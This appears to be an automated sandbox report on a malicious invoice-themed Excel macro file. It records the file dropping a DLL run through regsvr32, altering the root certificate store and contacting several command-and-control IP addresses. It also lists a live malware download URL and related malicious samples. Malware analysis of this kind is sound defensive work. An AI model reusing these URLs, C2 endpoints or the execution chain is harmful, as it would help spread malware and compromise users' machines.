Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll.			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process created: C:\Windows\System32\DWWIN.EXE C:\Windows\system32\dwwin.exe -x -s 1016			Jump to behavior

Source: regsvr32.exe, 00000003.00000002.2374415929.0000000000960000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2376202937.0000000000FB0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: regsvr32.exe, 00000003.00000002.2374415929.0000000000960000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2376202937.0000000000FB0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: regsvr32.exe, 00000003.00000002.2374415929.0000000000960000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2376202937.0000000000FB0000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 Blob

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting22	Path Interception	Process Injection112	Masquerading11	OS Credential Dumping	Query Registry1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Security Software Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution43	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection112	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting22	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol23	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information1	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Regsvr321	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
INV8073565781-20210111319595.xlsm	44%	Virustotal		Browse
INV8073565781-20210111319595.xlsm	8%	Metadefender		Browse
INV8073565781-20210111319595.xlsm	32%	ReversingLabs	Script-Macro.Trojan.Remcos

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\k04qkvqu[1].zip	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\cjrumqtd.dll	100%	Joe Sandbox ML

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
wexfashion.com	0%	Virustotal		Browse
cdn.digicertcdn.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://5.100.228.233:3389/	0%	Avira URL Cloud	safe
https://80.86.91.27:3308/rt	0%	Avira URL Cloud	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://80.86.91.27/	0%	Avira URL Cloud	safe
https://80.86.91.27/xw1	0%	Avira URL Cloud	safe
http://www.pub.	0%	Avira URL Cloud	safe
http://wexfashion.com/k04qkvqu.zip	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
https://80.86.91.27:3308/H	0%	Avira URL Cloud	safe
https://46.105.131.65:1512/	0%	Avira URL Cloud	safe
https://46.105.131.65/	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
https://80.86.91.27:3308/	0%	Avira URL Cloud	safe
https://77.220.64.37/2	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
https://77.220.64.37/5	0%	Avira URL Cloud	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
https://5.100.228.233/	0%	Avira URL Cloud	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wexfashion.com	198.54.125.162	true	false	0%, Virustotal, Browse	unknown
cdn.digicertcdn.com	104.18.11.39	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://wexfashion.com/k04qkvqu.zip	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.windows.com/pctv.	DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	false		high
https://5.100.228.233:3389/	regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://investor.msn.com	DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	false		high
https://80.86.91.27:3308/rt	regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	false		high
http://ocsp.entrust.net03	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://80.86.91.27/	regsvr32.exe, 00000004.00000002.2374389957.00000000002E9000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://80.86.91.27/xw1	regsvr32.exe, 00000004.00000002.2374389957.00000000002E9000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pub.	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226464574.0000000002A20000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226464574.0000000002A20000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	DWWIN.EXE, 00000006.00000002.2230133054.0000000003757000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	false		high
https://80.86.91.27:3308/H	regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://46.105.131.65:1512/	regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://46.105.131.65/	regsvr32.exe, 00000004.00000002.2374389957.00000000002E9000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	DWWIN.EXE, 00000006.00000002.2230133054.0000000003757000.00000002.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226574069.0000000002A8B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	DWWIN.EXE, 00000006.00000002.2230133054.0000000003757000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	regsvr32.exe, 00000004.00000002.2376776287.00000000023B0000.00000002.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2230525771.0000000003D10000.00000002.00000001.sdmp	false		high
https://80.86.91.27:3308/	regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://investor.msn.com/	DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	false		high
https://77.220.64.37/2	regsvr32.exe, 00000004.00000002.2374361228.00000000002A2000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.%s.comPA	regsvr32.exe, 00000004.00000002.2376776287.00000000023B0000.00000002.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2230525771.0000000003D10000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://77.220.64.37/5	regsvr32.exe, 00000004.00000002.2374361228.00000000002A2000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	false		high
https://5.100.228.233/	regsvr32.exe, 00000004.00000002.2374389957.00000000002E9000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://servername/isapibackend.dll	regsvr32.exe, 00000003.00000002.2374448037.0000000001D60000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2374547806.00000000008C0000.00000002.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226127205.0000000002410000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
5.100.228.233	unknown	Netherlands	8315	SENTIANL	true
80.86.91.27	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	true
46.105.131.65	unknown	France	16276	OVHFR	true
198.54.125.162	unknown	United States	22612	NAMECHEAP-NETUS	false
77.220.64.37	unknown	Italy	44160	INTERNETONEInternetServicesProviderIT	true

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	338240
Start date:	11.01.2021
Start time:	20:46:41
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	INV8073565781-20210111319595.xlsm
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.expl.evad.winXLSM@9/21@1/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 1.6% (good quality ratio 1.4%) Quality average: 75.1% Quality standard deviation: 36.8%
HCA Information:	Successful, ratio: 71% Number of executed functions: 4 Number of non-executed functions: 4
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsm Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Found warning dialog Click Ok Found warning dialog Click Ok Attach to Office via COM Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 2.20.142.209, 2.20.142.210, 205.185.216.10, 205.185.216.42, 13.64.90.137, 104.18.11.39 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, skypedataprdcolwus17.cloudapp.net, watson.microsoft.com, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, blobcollector.events.data.trafficmanager.net, cacerts.digicert.com, ctldl.windowsupdate.com, a767.dscg3.akamai.net, cds.d2s7q6s2.hwcdn.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:47:46	API Interceptor	1069x Sleep call for process: regsvr32.exe modified
20:48:01	API Interceptor	519x Sleep call for process: DWWIN.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
5.100.228.233	HkNkyKl3uT.dll	Get hash	malicious	Browse
	ceepq536n.zip.dll	Get hash	malicious	Browse
	sample20210111-01.xlsm	Get hash	malicious	Browse
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse
	hiytvys.dll	Get hash	malicious	Browse
	l7rgi3xyd.dll	Get hash	malicious	Browse
	ymuyks.dll	Get hash	malicious	Browse
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse
	hy9x6wzip.dll	Get hash	malicious	Browse
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse
	jufk0vrar.dll	Get hash	malicious	Browse
80.86.91.27	HkNkyKl3uT.dll	Get hash	malicious	Browse
	ceepq536n.zip.dll	Get hash	malicious	Browse
	sample20210111-01.xlsm	Get hash	malicious	Browse
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse
	hiytvys.dll	Get hash	malicious	Browse
	l7rgi3xyd.dll	Get hash	malicious	Browse
	ymuyks.dll	Get hash	malicious	Browse
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse
	hy9x6wzip.dll	Get hash	malicious	Browse
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse
	jufk0vrar.dll	Get hash	malicious	Browse
46.105.131.65	HkNkyKl3uT.dll	Get hash	malicious	Browse
	ceepq536n.zip.dll	Get hash	malicious	Browse
	sample20210111-01.xlsm	Get hash	malicious	Browse
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse
	hiytvys.dll	Get hash	malicious	Browse
	l7rgi3xyd.dll	Get hash	malicious	Browse
	ymuyks.dll	Get hash	malicious	Browse
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse
	hy9x6wzip.dll	Get hash	malicious	Browse
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse
	jufk0vrar.dll	Get hash	malicious	Browse
77.220.64.37	HkNkyKl3uT.dll	Get hash	malicious	Browse
	ceepq536n.zip.dll	Get hash	malicious	Browse
	sample20210111-01.xlsm	Get hash	malicious	Browse
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse
	hiytvys.dll	Get hash	malicious	Browse
	l7rgi3xyd.dll	Get hash	malicious	Browse
	ymuyks.dll	Get hash	malicious	Browse
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse
	hy9x6wzip.dll	Get hash	malicious	Browse
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse
	jufk0vrar.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Dridex.735.5073.dll	Get hash	malicious	Browse
	1 Total New Invoices-Monday December 14 2020.xls	Get hash	malicious	Browse
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse
	1-Total New Invoices Monday Dec 14 2020.xlsm	Get hash	malicious	Browse
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse
	SecuriteInfo.com.Mal.EncPk-APV.3900.dll	Get hash	malicious	Browse
	ygyq4p539.rar.dll	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cdn.digicertcdn.com	sample20210111-01.xlsm	Get hash	malicious	Browse	104.18.10.39
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse	104.18.11.39
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse	104.18.10.39
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse	104.18.10.39
	SurfsharkSetup.exe	Get hash	malicious	Browse	104.18.10.39
	https://correolimpio.telefonica.es/atp/url-check.php?URL=https%3A%2F%2Fnhabeland.vn%2Fsercurirys%2FRbvPk%2F&D=53616c7465645f5f824c0b393b6f3e2d3c9a50d9826547979a4ceae42fdf4a21ec36a319de1437ef72976b2e7ef710bdb842a205880238cf08cf04b46eccce50114dbc4447f1aa62068b81b9d426da6b&V=1	Get hash	malicious	Browse	104.18.10.39
	ASHLEY NAIDOO CV.doc	Get hash	malicious	Browse	104.18.10.39
	RFQ.doc	Get hash	malicious	Browse	104.18.10.39
	SecuriteInfo.com.Trojan.BtcMine.3311.17146.exe	Get hash	malicious	Browse	104.18.11.39
	http://test.kunmiskincare.com/index.php	Get hash	malicious	Browse	104.18.11.39
	https://email.utest.com/ls/click?upn=Q3qQnfemZbaKqqMTD32WX0Q-2F38lqT2tAzE5eVnmPd7-2BQtbqdrAGPxGIiQmtbZbEcQfp88ilOu42BqywW-2BHQ-2F36ib8mcb8EYG4w64Icmefi3xXbpzwMP3NQ3974KeR1Cm-2FtwcR7xFilzHs6N8iNLyS48aGcVYmSpzSB5rZFj7iHuxTwLnTumc1AOR4vtcYHqqiqHY7g-2B-2FJ-2Bp2X-2FMfZ-2FQF6-2BtQvwrHR4Do9NZhu9Dvij-2BKa330W7UbuEz2iIv6oZ18C14g_HT-2FwmlBF7R5nW6HayR9wjpSE-2FEYoNhBRZJxfk0aqS7vYxNZiuzaetMNdYjE6WQ7lhnX-2F3CEUYMAVCWb9b2KoxJgG7bbDpZV8jJzJcz-2FHdj603HdwbUFnR5bNfB4iXdW0ho4xmgP3jr4yW0dQVZ-2FVH-2B4BUSDEwiU9rMA5oZN54vSw8okk6D-2FopaYrwFKHesb3rZ-2B-2FXvvZXiTmiwexXLF98nxPgg28hqPBVP8Ce82XUi0-3D	Get hash	malicious	Browse	104.18.10.39
	https://email.utest.com/ls/click?upn=eSGWhpVX2YfcJc4oKRJyCitYauf8dzcbVvAmQmQH4oZBbVMlkneKSVGqyJywGhpngTJJbZcqKw2ZrPBb6oQsQjUFyq4tbqbTGCzxR1eG4Z9O9abaPDZxc5NM1HvYjLOzed8zOYLIYcXnFBAxNAMQRlQBs6-2FmRK-2BaDDT2yagiQtTusU0-2FuKBxVVMBtDF3y-2BvaUDK48BxfAjoAvSGh6p8tJcMdNHuC687sMnINVJLdmfU-3D7Y6S_CzF3IAhuvYaPWoKJ87ALtJgaMHByYMlBwvQVuZ3bhcFe4St6cx8KCfN-2B2rcCNvOA-2BeX4QMjQb-2FUgtEcK8j5R6EI1G-2BBWI35h9mDCE7AAF1w3V3wR14L28vyaTqJbw5uQyTI0DJse16q7T2cnyVezsqen7-2F42lXjAhKUL9SqUvgoogoRMVuUrByVc8HvS0sQEQjAPQ8xNbeD4KhQ-2BMcqRFg-3D-3D	Get hash	malicious	Browse	104.18.11.39
	https://email.utest.com/ls/click?upn=7pk4n7zyu3C81Mn1P-2FDmbQYiftB7Um69feDieyAcP67WG6G79-2FZJVKAlazUBAbfEF4GoDtXgPjNLWzDCnPh7Xakgzgk-2FmStvhSscVXayLFhZIIFZIYIscDWC3Iu-2BcY3A9omatVYEiWPK2Incpc6HzU578AM2hu6p-2Bn6uq0TcLQpocWZwdV9dCrqsMtrX-2FDi4HBg4XX4-2F3i2UkQ7nuJQrSo1-2FKKJZxdiMIvGfSPtt6AA-3D_Ps1_JjL7p1lgTUYZ5WQny2C5NjuXSDa0fPfjvfUw5EqzhcRvTxd-2F1XX8gbl7GK9SIE-2F651Ar7eNStX9JwifbMd-2Bpf6jPpjrN2U1igLfktYyJIQ-2Bml-2FEPkADqSRw-2Fi6D-2BnALXT-2B-2FvcMCA95hRIW-2FohWo93WXHSr3sm64NMmNmn7vCUVlwAUUBcpBMBuo-2FwDzI6vV-2FqVihNDaxiv67q2KreHoN-2B1iBGj-2FxyhjkJJWZIE1Jjos-3D	Get hash	malicious	Browse	104.18.11.39
	https://email.utest.com/ls/click?upn=67aRGAcCFCvHxiPAckWKkhPC4KvHs6b-2F2weO-2F4bbSuzsR0S00yjD-2Bp98nxI8VUxFO-2BA-2FaoV7I7ejt7iWFdzNGQD7Rt-2B-2FrHigS8odmZ5jtBR1Jc-2F-2ByB20l8hXLQVEUsoKYNzQVntp2VlCibfgJJsmyTb3rVDsu9ejaUs6-2FrCmWTartaVeLsn0D92Hp7N17yWd7UqmLdwaGYREjE6axvHGamR7YgBj26o7dhrUoK-2BeTg4-3DlR5U_V3NU-2FA-2F-2BMCS01eqTEl7SwdC4Y1sHc0Ok-2BE-2BBcFuZa-2FMLGwVAklUo5zpn5w-2FWMCIp5-2FtPYdDyjonZQp2-2Fm-2FtoJqNBof8e11z4gErP9ujPflSfLTzXPNoDO4w6SdWItChamjCgpNcPi7T73NCj5Bg6ZnTadUi7N8-2BY2rrmnE5gpze1qYGwtCTwrD-2FEhq3HOVVSI6EgHrfbUqiGU0pY5jHFIJ3IDNrcPLgrZyFiYcyqRek-3D	Get hash	malicious	Browse	104.18.11.39
	https://email.utest.com/ls/click?upn=LMh8OQWOikhQ4E8y-2BrYnz-2BbDB2TElaf90yCHoFAn4M1bYurbyYcloHeQnYwY0vQ7VDotXE-2F1AU3v6KKQKAvhhYV0UBWlqtuRNZJVtvX80VxChFCc1lzvSHIOg2vQaiTyT0IDnohwmvAyk6q7Lw7aV2oNzPp1SRnlWHFXN0qSB1ZgfLjV0g7BwyUNgRacGzLQzxxo4OCEX0IynXTekIdGpsnVH8RdeHbQN5hmkvqmAfMoOPsGKIXFuD2XjXmSQNwHQ8tj_OFYFW3aawQjHnZ2oUsm9aGRmiVDxWOGUeXvmswsU9xvx6eL-2F-2Facl5TxDb-2FnQAE-2F9WO-2BX1bZLZ3dQ6WwuATmPzz3S8NpXbPAjepyz5kRHvZa0CDmTSp0IhGs72hXqIXDMOuT72gd5GYA2W6rPcohuTqV3rAs0ui6xQJlDhswQEvrgqzCELYcSf4yeLy0GlPUnnpdaGlBorHCk0eM6B-2FWcFUAXo2t3fTe0C5AFZKARfK8-3D	Get hash	malicious	Browse	104.18.11.39
	https://email.utest.com/ls/click?upn=pRtNAE4pBw306smbkBG7VfeIwBX2zq-2BxFGkc-2FYVg2kyteQhPgCyjFlF3g7Xm8OdsEJm4m-2Bb8v32fZo5G1S6IScPtZRx0O1qeslKL30HVUgu03CpTlmUlGG19oYXIdBdB3T-2BnneFUo-2FnuydTFtQrV-2FFD7ECFZ6-2BXjQduZf9kDgVI74LqkaeF5jfEKlvI9dNzmUWbncaLWs9jkPrQYRliwgvYISGRxPJ7a3gAUWZPRjDY-3DfCad_fQ8VNONEToroRqvq8M8IT71VVsbp-2FrVCPzMBywYUGjNEx5hFeS-2B3-2B0wfsC8rR2-2FcrAujDEHG74A-2FnVGsRRFxg-2FNYq0Ficj-2F6MNmWD3eD9hLtWuST0s8y4JgrbMq35uIiVx4-2FWXoquNFvepEkXYb-2BIIifvG1Hrrso0Hz938T8Kk2oqOiB-2BWIt73FfY6-2F7kAdcZlD9fseESOxt2IDwNJfsG-2BJ2dV9l2zjNB8qRR8WVLPs-3D	Get hash	malicious	Browse	104.18.11.39
	https://email.utest.com/ls/click?upn=fuaIpvnsuSQILWwzYiXi5qnEApdA08gndIGt9eDXEUzb2D9ZQis83XJjquyQ-2B9NU6N6PUmNiYKL2-2B9K-2B0Q-2FRuNZV2Rm6EE3tP6uveKZcpGa39fA3R6q6mtnf0YazerOr3Wym2I-2B4EKphohsG9TZrR10vb4sAorg3TlmbMLBvyRhlhPfnKFPOumxhPEnjlTpz4URurYF2wvhUTU5FbrZwbgaLDFhKWhDuDmKVQ4MiqOgEAGo1wQlNp439PzN1eKX8UvDM_oB8tJkdbn8-2B0HmsO8J4iQplzftnfE-2B8k0a9q1EntRKkJu1B-2FCVgO526eX33TRFpJwAzeZS5KAS0tKKzRRvWnodl78aEsHhSxo91ApNyL4MdpCkbZLJkdQb12aN6YOUgsp7GPBut2ZGkQb0VPeuTR9sLawADBZxxcvvOm5C44mioeJoHe0qFQpD7j-2FkTjaJgMi4jWdYXYz6hdODOLE13y3HyL2fGbEXG3mHtm20h7Ry8-3D	Get hash	malicious	Browse	104.18.10.39
